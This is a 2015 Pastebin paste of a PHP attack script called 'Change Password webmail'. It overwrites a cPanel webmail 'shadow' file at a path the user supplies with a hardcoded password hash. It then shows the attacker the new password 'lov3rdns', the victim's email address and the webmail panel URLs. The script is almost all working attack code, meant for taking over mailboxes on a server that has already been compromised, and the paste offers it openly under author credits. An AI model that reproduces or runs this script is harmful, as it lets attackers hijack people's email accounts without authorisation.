Kyfx

Change Password webmail

May 15th, 2015
480
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.22 KB | None | 0 0
  1. <title>Change Password webmail</title>
  2. <center><form method='POST'>
  3. <h4>Change Password webmail</h4><h4>
  4. User : <input type='text' name='user' size='40' /><br />
  5. Path : <input type='text' name='path' size='40' /><br /><br /></h4>
  6. <input type='submit' name='start' value='Change Password' />
  7. </form></center>
  8. <?php
  9. @error_reporting();
  10. /*
  11. @NetDevr
  12. */
  13. if($_POST['start'])
  14. {
  15. $user = $_POST['user'];
  16. $path = @chdir($_POST['path']);
  17. $pass = "lov3rdns";
  18. $lov3r = @base64_decode('JGFwcjEkdkNJWmRBXzEkRWhzcEhSWUZ4R24wcTBiZzRVeS9VLg==');
  19. $array = @array('$user','$lov3r');
  20. $imp = @implode(':',$array);
  21. $dns = @file_put_contents('shadow',$imp);
  22. if($dns)
  23. {
  24. echo '<h4><center>Password is <font color="red">'.$pass.'</font> .. <br />
  25. Email is <font color="red">'.$user.'@'.$_SERVER['SERVER_NAME'].'</font><br />
  26. Panel is <font color="red">http://webmail.'.$_SERVER['SERVER_NAME'].'</font>
  27. Or <font color="red">http://'.$_SERVER['SERVER_NAME'].':2096</font><br />
  28. <font color="blue">./x3</font></h4></center>';
  29. }else
  30. {
  31. echo '<h4><center>File Not Found</h4></center>';
  32. }
  33.  
  34. }
  35. ?>
  36. <br />
  37. <br />
  38. <br />
  39. <br />
  40. <br />
  41. <br />
  42. <br />
  43. <br />
  44. <center>
  45. <b># Discovery : r0kin</b><br />
  46. <b># Coder : Lov3rDns</b>
  47. </center>
Add Comment
Please, Sign In to add comment